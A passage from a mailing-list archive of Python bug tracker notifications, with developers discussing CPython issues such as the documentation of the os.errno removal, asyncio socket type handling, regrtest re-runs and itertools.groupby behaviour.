in the stdlib (for AST and deque objects) return void instead. The following PR fixes this. ---------- components: Extension Modules messages: 317986 nosy: rhettinger, serhiy.storchaka priority: normal severity: normal status: open title: Fix signatures of tp_clear handlers type: behavior versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 03:17:29 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 07:17:29 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527578249.22.0.682650639539.issue33677@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6830 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 03:49:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 07:49:20 +0000 Subject: [issue29463] Add `docstring` field to AST nodes In-Reply-To: <1486390876.35.0.496966996959.issue29463@psf.upfronthosting.co.za> Message-ID: <1527580160.75.0.682650639539.issue29463@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 2641ee5040abb090e66e4ff80c33b76729b36e75 by Serhiy Storchaka in branch '3.7': bpo-32911: Revert bpo-29463. (GH-7121) https://github.com/python/cpython/commit/2641ee5040abb090e66e4ff80c33b76729b36e75 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 03:49:21 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 07:49:21 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527580161.17.0.262363346258.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 2641ee5040abb090e66e4ff80c33b76729b36e75 by Serhiy Storchaka in branch '3.7': bpo-32911: Revert bpo-29463. (GH-7121) https://github.com/python/cpython/commit/2641ee5040abb090e66e4ff80c33b76729b36e75 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 04:31:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 08:31:28 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527582688.53.0.682650639539.issue32911@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6831 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 04:31:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 08:31:28 +0000 Subject: [issue29463] Add `docstring` field to AST nodes In-Reply-To: <1486390876.35.0.496966996959.issue29463@psf.upfronthosting.co.za> Message-ID: <1527582688.85.0.0935424498089.issue29463@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6832 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 04:43:22 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Tue, 29 May 2018 08:43:22 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527583402.22.0.682650639539.issue33671@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: Yes, I tried changing benchmarks order and zero-copy variants are always faster. As for instantaneous CoW copy, it is debatable. E.g. "cp" command does not do it by default: https://unix.stackexchange.com/questions/80351/why-is-cp-reflink-auto-not-the-default-behaviour I think shutil should follow the same lead, and perhaps provide a cow=bool argument in the future. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:02:51 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 29 May 2018 09:02:51 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527584571.89.0.682650639539.issue33654@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset 2179022d94937d7b0600b0dc192ca6fa5f53d830 by Andrew Svetlov (Yury Selivanov) in branch 'master': bpo-33654: Support protocol type switching in SSLTransport.set_protocol() (#7194) https://github.com/python/cpython/commit/2179022d94937d7b0600b0dc192ca6fa5f53d830 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:04:00 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 09:04:00 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527584640.8.0.682650639539.issue33654@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6833 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:04:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 09:04:58 +0000 Subject: [issue29463] Add `docstring` field to AST nodes In-Reply-To: <1486390876.35.0.496966996959.issue29463@psf.upfronthosting.co.za> Message-ID: <1527584698.67.0.682650639539.issue29463@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 73cbe7a01a22d02dbe1ec841e8779c775cad3d08 by Serhiy Storchaka in branch 'master': bpo-32911: Revert bpo-29463. (GH-7121) (GH-7197) https://github.com/python/cpython/commit/73cbe7a01a22d02dbe1ec841e8779c775cad3d08 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:04:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 09:04:58 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527584698.85.0.262363346258.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 73cbe7a01a22d02dbe1ec841e8779c775cad3d08 by Serhiy Storchaka in branch 'master': bpo-32911: Revert bpo-29463. (GH-7121) (GH-7197) https://github.com/python/cpython/commit/73cbe7a01a22d02dbe1ec841e8779c775cad3d08 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:06:14 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 29 May 2018 09:06:14 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527584774.36.0.682650639539.issue33666@psf.upfronthosting.co.za> Petr Viktorin added the comment: Nothing there strikes me to be as prevalent or as discoverable as os.errno. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:19:15 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 09:19:15 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527585555.53.0.682650639539.issue33654@psf.upfronthosting.co.za> miss-islington added the comment: New changeset be5d616e5529a1388a0b451bf6a65ad5bdb70d29 by Miss Islington (bot) in branch '3.7': bpo-33654: Support protocol type switching in SSLTransport.set_protocol() (GH-7194) https://github.com/python/cpython/commit/be5d616e5529a1388a0b451bf6a65ad5bdb70d29 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:20:49 2018 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 29 May 2018 09:20:49 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527585649.54.0.682650639539.issue33197@psf.upfronthosting.co.za> Dong-hee Na added the comment: PR 6636 is ready to be merged :) ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:21:01 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 29 May 2018 09:21:01 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527585661.7.0.682650639539.issue33666@psf.upfronthosting.co.za> INADA Naoki added the comment: Even if it is documented, arn't people know it by running their code on Python 3.7? How the document help them? It's very easy to know `errno` module when find ImportError. And it's much easier than checking "waht's new" document. So I doubt it's worth. And if people see the document, people may think "all removed subimports should be documented" although only os.errno is special. If document os.errno removal, please note about all undocumented subimports are implementation detail and will be removed without any timing, even on micro version. (We will remove subimports for various reasons; avoiding huge unnecessary dependency, fixing regression caused by circular imports, etc...) ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:28:31 2018 From: report at bugs.python.org (Sebastien Bourdeauducq) Date: Tue, 29 May 2018 09:28:31 +0000 Subject: [issue27500] ProactorEventLoop cannot open connection to ::1 In-Reply-To: <1468346135.06.0.410333112523.issue27500@psf.upfronthosting.co.za> Message-ID: <1527586111.12.0.682650639539.issue27500@psf.upfronthosting.co.za> Sebastien Bourdeauducq added the comment: Any chance someone could look into this bug? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:30:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 09:30:57 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527586257.72.0.682650639539.issue33666@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Actually removing re._pattern_type, uuid._uuid_generate_time and some private names in the typing module broke several third-party projects. See for example: https://github.com/search?q=_pattern_type&type=Issues https://github.com/search?q=_uuid_generate_time&type=Issues https://github.com/bintoro/overloading.py/issues/5 https://github.com/hsolbrig/PyShEx/issues/17 I'm sure there are examples for other removed names. I don't understand why os.errno should be special. Books can contain errors (e.g. the claim that Python 3 is not Turing complete). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:33:07 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 29 May 2018 09:33:07 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527586387.11.0.682650639539.issue33666@psf.upfronthosting.co.za> Petr Viktorin added the comment: > Even if it is documented, arn't people know it by running their code on Python 3.7? How the document help them? "What's new" is the right place to check if something breaks for you on Python 3.7. Let's make it useful. > It's very easy to know `errno` module when find ImportError. And it's much easier than checking "waht's new" document. So I doubt it's worth. I disagree. Sure, some people will find answers on Stack Overflow or blog posts, but all those should link to official docs. > And if people see the document, people may think "all removed subimports should be documented" although only os.errno is special. > If document os.errno removal, please note about all undocumented subimports are implementation detail and will be removed without any timing, even on micro version. (We will remove subimports for various reasons; avoiding huge unnecessary dependency, fixing regression caused by circular imports, etc...) +1. Let's make that the main point. Something like the text below? Several undocumented internal imports were removed. One example is that `os.errno` is no longer available; use `import errno` directly instead. Note that such undocumented internal imports may be removed any time without notice, even in micro version releases. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:40:44 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 29 May 2018 09:40:44 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527586844.9.0.682650639539.issue33666@psf.upfronthosting.co.za> Petr Viktorin added the comment: > Actually removing re._pattern_type, uuid._uuid_generate_time and some private names in the typing module broke several third-party projects. Those have underscores; that explicitly marks them as private/use at your own risk/will break in future versions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:43:27 2018 From: report at bugs.python.org (Sebastien Bourdeauducq) Date: Tue, 29 May 2018 09:43:27 +0000 Subject: [issue33678] selector_events.BaseSelectorEventLoop.sock_connect should preserve socket type Message-ID: <1527587007.35.0.682650639539.issue33678@psf.upfronthosting.co.za> New submission from Sebastien Bourdeauducq : The current behavior causes an exception to be raised when trying to create a datagram socket and _ipaddr_info returns None (since asyncio then calls loop.getaddrinfo with SOCK_STREAM and IPPROTO_UDP). Preserving socket type is made difficult by https://bugs.python.org/issue21327; the proposed patch includes a dirty workaround. I do not know yet if it works on Windows. --- selector_events.py 2018-05-11 10:01:42.011164837 +0800 +++ selector_events.py.new 2018-05-29 17:41:03.103155480 +0800 @@ -439,8 +439,9 @@ raise ValueError("the socket must be non-blocking") if not hasattr(socket, 'AF_UNIX') or sock.family != socket.AF_UNIX: + socktype = sock.type & 0xf # WA https://bugs.python.org/issue21327 resolved = base_events._ensure_resolved( - address, family=sock.family, proto=sock.proto, loop=self) + address, family=sock.family, type=socktype, proto=sock.proto, loop=self) if not resolved.done(): yield from resolved _, _, _, _, address = resolved.result()[0] ---------- components: asyncio messages: 318001 nosy: asvetlov, sebastien.bourdeauducq, yselivanov priority: normal severity: normal status: open title: selector_events.BaseSelectorEventLoop.sock_connect should preserve socket type type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 05:50:16 2018 From: report at bugs.python.org (Sebastien Bourdeauducq) Date: Tue, 29 May 2018 09:50:16 +0000 Subject: [issue33678] selector_events.BaseSelectorEventLoop.sock_connect should preserve socket type In-Reply-To: <1527587007.35.0.682650639539.issue33678@psf.upfronthosting.co.za> Message-ID: <1527587416.76.0.682650639539.issue33678@psf.upfronthosting.co.za> Sebastien Bourdeauducq added the comment: Windows looks fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 06:16:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 10:16:40 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527589000.52.0.682650639539.issue33674@psf.upfronthosting.co.za> STINNER Victor added the comment: I fixed the main issue, so I remove the "release blocker" priority. ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 06:28:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 10:28:08 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527589688.39.0.682650639539.issue33674@psf.upfronthosting.co.za> STINNER Victor added the comment: > bpo-33674: Pause the transport as early as possible (#7192) > https://github.com/python/cpython/commit/f295587c45f96b62d24f9a12cef6931b0805f596 Is it ok to always resume reading? Previously reading was only resumed if the transport was reading. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 06:41:44 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 10:41:44 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527590504.87.0.682650639539.issue33666@psf.upfronthosting.co.za> STINNER Victor added the comment: I like the idea of a generic sentence explaining that regularly we removed aliases to speedup Python startup time can remove aliases on purpose. msg317876: "Here is a list of all names removed in 3.7 (except modules that was removed as a whole): (... long list ...)" I agree that this list is very long. But I don't think that it would make sense to document all these removed symbols (aliases). IHMO it's more unlikely that someone gets the re module from "zipfile.re", than getting WeakSet from "abc.WeakSet". For "code.argparse", it's similar: the code module is a rarely used module, whereas argparse is a commonly used and known module. My comments on the list. Is already documented: * os.stat_float_times: https://docs.python.org/dev/whatsnew/3.7.html#api-and-feature-removals * collections.: https://docs.python.org/dev/whatsnew/3.7.html#id3 * token.ASYNC, token.AWAIT, tokenize.ASYNC, tokenize.AWAIT: they became keywords Should be documented: * os.errno: errno and os are tighly coupled, for example there is a os.strerror() function and OSError exception (named starting with "os") have an errno attribute May be documented: * inspect.ast: ast and inspect are tighly coupled to inspect code Should not be documented: * asyncio.* * distutils.* * concurrent.futures.* * gettext.* * code.argparse * doctest.argparse * profile.os * ssl.ipaddress * ssl.re * ssl.textwrap * statistics.decimal * tabnanny.getopt * zipfile.re * email.utils.ecre * functools.MappingProxyType * functools.WeakKeyDictionary * locale.collections * ... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 06:42:23 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 10:42:23 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527590543.45.0.682650639539.issue33666@psf.upfronthosting.co.za> STINNER Victor added the comment: Petr Viktorin started a thread on python-ideas as well: https://mail.python.org/pipermail/python-ideas/2018-May/051098.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:06:50 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 11:06:50 +0000 Subject: [issue29589] test_asyncio & test_multiprocessing_forkserver failed In-Reply-To: <1487337801.01.0.342106615288.issue29589@psf.upfronthosting.co.za> Message-ID: <1527592010.84.0.682650639539.issue29589@psf.upfronthosting.co.za> STINNER Victor added the comment: For the test_asyncio.test_stdin_broken_pipe() failure: see bpo-33531. For the test_multiprocessing_forkserver.test_ignore() failure: see bpo-33532. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:08:53 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 11:08:53 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527592133.68.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: > FWIW, Issue29589 seems to be an older example of this failure. It was a failure on Mageia 5 (Linux) at 2017-02-17: == CPython 3.6.0 (default, Feb 17 2017, 15:26:31) [GCC 4.9.2] == Linux-4.4.13-desktop-1.mga5-x86_64-with-mageia-5-Official little-endian == hash algorithm: siphash24 64bit == cwd: /home/dima/bin/Python-3.6.0/build/test_python_8244 == encodings: locale=UTF-8, FS=utf-8 Run tests sequentially 0:00:00 [1/1] test_multiprocessing_forkserver ... ====================================================================== ERROR: test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/dima/bin/Python-3.6.0/Lib/test/_test_multiprocessing.py", line 3728, in test_ignore os.kill(p.pid, signal.SIGUSR1) ProcessLookupError: [Errno 3] No such process ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:13:51 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 29 May 2018 11:13:51 +0000 Subject: [issue33679] IDLE: Configurable color on code context Message-ID: <1527592431.06.0.682650639539.issue33679@psf.upfronthosting.co.za> New submission from Cheryl Sabella : Item 9 from #33610: Reenable user config of context colors * Add context tag to themes in configuration. * In codecontext, get theme and context color from configuration. * Use the colors when creating the context label. * In timer event, update colors if they have changed. * Change name of font_timer_event function. * Modify tests to include colors. ---------- assignee: terry.reedy components: IDLE messages: 318009 nosy: cheryl.sabella, terry.reedy priority: normal severity: normal status: open title: IDLE: Configurable color on code context type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:19:15 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 29 May 2018 11:19:15 +0000 Subject: [issue33679] IDLE: Configurable color on code context In-Reply-To: <1527592431.06.0.682650639539.issue33679@psf.upfronthosting.co.za> Message-ID: <1527592755.47.0.682650639539.issue33679@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- keywords: +patch pull_requests: +6834 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:28:19 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 11:28:19 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527593299.17.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: I am unable to reproduce the issue on Fedora 28 (Linux kernel 4.16.11, glibc 2.27): I ran 6 jobs in parallel during 10 minutes: * 2: ./python -m test test_multiprocessing_forkserver -m test_ignore -F * 2: ./python -m test test_multiprocessing_forkserver -F * 2: ./python -m test -j16 -r -F The system load was around 30 which is very high (my CPU has 8 logicial threads, 4 physical cores). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:41:03 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 11:41:03 +0000 Subject: [issue33680] regrtest: re-run failed tests in a subprocess Message-ID: <1527594063.1.0.682650639539.issue33680@psf.upfronthosting.co.za> New submission from STINNER Victor : The -w option of regrtest (python -m test) re-run failed tests in verbose in the current process. Problem: if the test does crash, regrtest doesn't re-run following tests, it doesn't write the final tests result (like failing tests, total duration, etc.). To make regrtest tolerant to such crashes, re-run tests should be run in verbose mode. The only constraint is to disable buffering on stdout and stderr to make sure that stdout and stderr order is kept in pipes. Or maybe stderr should be redirected to stdout to avoid ordering issue? ---------- components: Tests messages: 318011 nosy: vstinner priority: normal severity: normal status: open title: regrtest: re-run failed tests in a subprocess versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:42:09 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 29 May 2018 11:42:09 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527594129.3.0.682650639539.issue33610@psf.upfronthosting.co.za> Cheryl Sabella added the comment: For item 9 - #33679 ---------- dependencies: +IDLE: Configurable color on code context _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 07:42:42 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 11:42:42 +0000 Subject: [issue33680] regrtest: re-run failed tests in a subprocess In-Reply-To: <1527594063.1.0.682650639539.issue33680@psf.upfronthosting.co.za> Message-ID: <1527594162.78.0.682650639539.issue33680@psf.upfronthosting.co.za> STINNER Victor added the comment: A random example of such crash, process killed by faulthandler timeout: http://buildbot.python.org/all/#/builders/118/builds/65 (...) 394 tests OK. 10 slowest tests: - test_subprocess: 7 min 13 sec - test_concurrent_futures: 2 min 47 sec - test_multiprocessing_spawn: 2 min 29 sec - test_urllib2net: 1 min 45 sec - test_multiprocessing_forkserver: 1 min 34 sec - test_nntplib: 1 min 29 sec - test_smtpnet: 1 min 23 sec - test_multiprocessing_fork: 1 min 22 sec - test_tools: 1 min 19 sec - test_tokenize: 1 min 13 sec 1 test failed: test_asyncio 20 tests skipped: test_dbm_gnu test_devpoll test_epoll test_gdb test_idle test_ioctl test_msilib test_ossaudiodev test_spwd test_startfile test_tcl test_tix test_tk test_ttk_guionly test_ttk_textonly test_turtle test_winconsoleio test_winreg test_winsound test_zipfile64 Re-running failed tests in verbose mode Re-running test 'test_asyncio' in verbose mode (...) test_sock_client_ops (test.test_asyncio.test_events.PollEventLoopTests) ... ok Timeout (0:15:00)! Thread 0x000000080139a000 (most recent call first): File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/selectors.py", line 415 in select File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/asyncio/base_events.py", line 1713 in _run_once File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/asyncio/base_events.py", line 523 in run_forever File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/asyncio/base_events.py", line 555 in run_until_complete File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/test/test_asyncio/test_events.py", line 2135 in run_loop File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/test/test_asyncio/test_events.py", line 2249 in test_sock_sendfile_mix_with_regular_send (...) test_sock_sendfile_mix_with_regular_send (test.test_asyncio.test_events.PollEventLoopTests) ... *** Error code 1 Stop. make: stopped in /usr/home/buildbot/python/3.7.koobs-freebsd-current/build program finished with exit code 1 elapsedTime=2612.384935 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:02:46 2018 From: report at bugs.python.org (Med Nezar BELLAZRAK) Date: Tue, 29 May 2018 12:02:46 +0000 Subject: [issue33681] itertools.groupby() returned igroup is only callable once Message-ID: <1527595366.08.0.682650639539.issue33681@psf.upfronthosting.co.za> New submission from Med Nezar BELLAZRAK : Hello, So i discovered a small unusual behavior (tracking it down was time-consuming) when using itertools.groupby(), i have checked the documentation and it states that: "The returned group is itself an iterator that shares the underlying iterable with groupby(). Because the source is shared, when the groupby() object is advanced, the previous group is no longer visible. So, if that data is needed later, it should be stored as a list" I do agree with this statement, though i believe a call to igroup successively in the same iteration should yield the same result while now it returns the correct igroup in the first call while the following call returns an empty list. Here's a small code snippet that illustrates this behavior: Code: import itertools mylist = [(1,2), (1,3), (2,5)] for key, igroup in itertools.groupby(mylist, lambda x: x[0]): print(list(igroup)) # prints the expected igroup print(list(igroup)) # prints an empty list print(list(igroup)) # prints an empty list Output: [(1, 2), (1, 3)] [] [] [(2, 5)] [] [] Thanks in advance for anyone who works on this issue ---------- components: Extension Modules messages: 318014 nosy: Med Nezar BELLAZRAK priority: normal severity: normal status: open title: itertools.groupby() returned igroup is only callable once type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:12:54 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 29 May 2018 12:12:54 +0000 Subject: [issue33681] itertools.groupby() returned igroup is only callable once In-Reply-To: <1527595366.08.0.682650639539.issue33681@psf.upfronthosting.co.za> Message-ID: <1527595974.14.0.682650639539.issue33681@psf.upfronthosting.co.za> Steven D'Aprano added the comment: This is standard behaviour for all iterators. Once you have iterated over them once, they are consumed, and iterating over them again returns nothing: py> it = iter("abc") py> print(list(it)) ['a', 'b', 'c'] py> print(list(it)) [] ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:31:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 12:31:13 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527597073.39.0.682650639539.issue33353@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6835 stage: resolved -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:32:20 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 29 May 2018 12:32:20 +0000 Subject: [issue32131] Missing encoding parameter in urllib/parse.py In-Reply-To: <1511610502.45.0.213398074469.issue32131@psf.upfronthosting.co.za> Message-ID: <1527597140.5.0.682650639539.issue32131@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> urllib.parse.parse_qsl does not handle unicode data properly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:45:13 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 29 May 2018 12:45:13 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527597913.81.0.682650639539.issue33670@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6836 stage: backport needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:47:12 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 29 May 2018 12:47:12 +0000 Subject: [issue33682] Optimize the bytecode for float(0) ? Message-ID: <1527598032.12.0.682650639539.issue33682@psf.upfronthosting.co.za> New submission from St?phane Wirtel : Hi, Maybe already discussed with Victor but I think there is no optimization when we have this simple case for float(X) and int(X) Example: >>> import dis >>> dis.dis("x = float(0)") 1 0 LOAD_NAME 0 (float) 2 LOAD_CONST 0 (0) 4 CALL_FUNCTION 1 6 STORE_NAME 1 (x) 8 LOAD_CONST 1 (None) 10 RETURN_VALUE >>> dis.dis("x = 1 + 1") 1 0 LOAD_CONST 0 (2) 2 STORE_NAME 0 (x) 4 LOAD_CONST 1 (None) 6 RETURN_VALUE >>> dis.dis("x = int(0)") 1 0 LOAD_NAME 0 (int) 2 LOAD_CONST 0 (0) 4 CALL_FUNCTION 1 6 STORE_NAME 1 (x) 8 LOAD_CONST 1 (None) 10 RETURN_VALUE >>> There is an optim for x = 1 + 1 ---------- messages: 318016 nosy: matrixise, vstinner priority: normal severity: normal status: open title: Optimize the bytecode for float(0) ? versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 08:48:04 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 29 May 2018 12:48:04 +0000 Subject: [issue33682] Optimize the bytecode for float(0) ? In-Reply-To: <1527598032.12.0.682650639539.issue33682@psf.upfronthosting.co.za> Message-ID: <1527598084.8.0.682650639539.issue33682@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Victor, if you confirm, maybe you could help me for a mentoring for this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 